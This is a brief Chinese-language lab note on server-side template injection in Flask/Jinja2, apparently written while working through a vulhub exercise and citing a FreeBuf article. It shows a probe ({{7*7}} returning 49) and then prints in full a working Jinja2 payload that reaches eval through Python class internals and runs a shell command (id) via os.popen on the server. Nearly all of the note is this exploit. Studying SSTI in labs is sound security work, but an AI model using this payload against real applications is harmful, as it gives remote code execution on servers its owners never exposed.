Flask(Jinja2) 服务端模板注入漏洞(SSTI)
参考 https://www.freebuf.com/articles/web/260504.html
验证漏洞存在 ?name={{7*7}}
回显49说明漏洞存在
vulhub给出的payload:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval']('__import__("os").popen("id").read()') }}{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}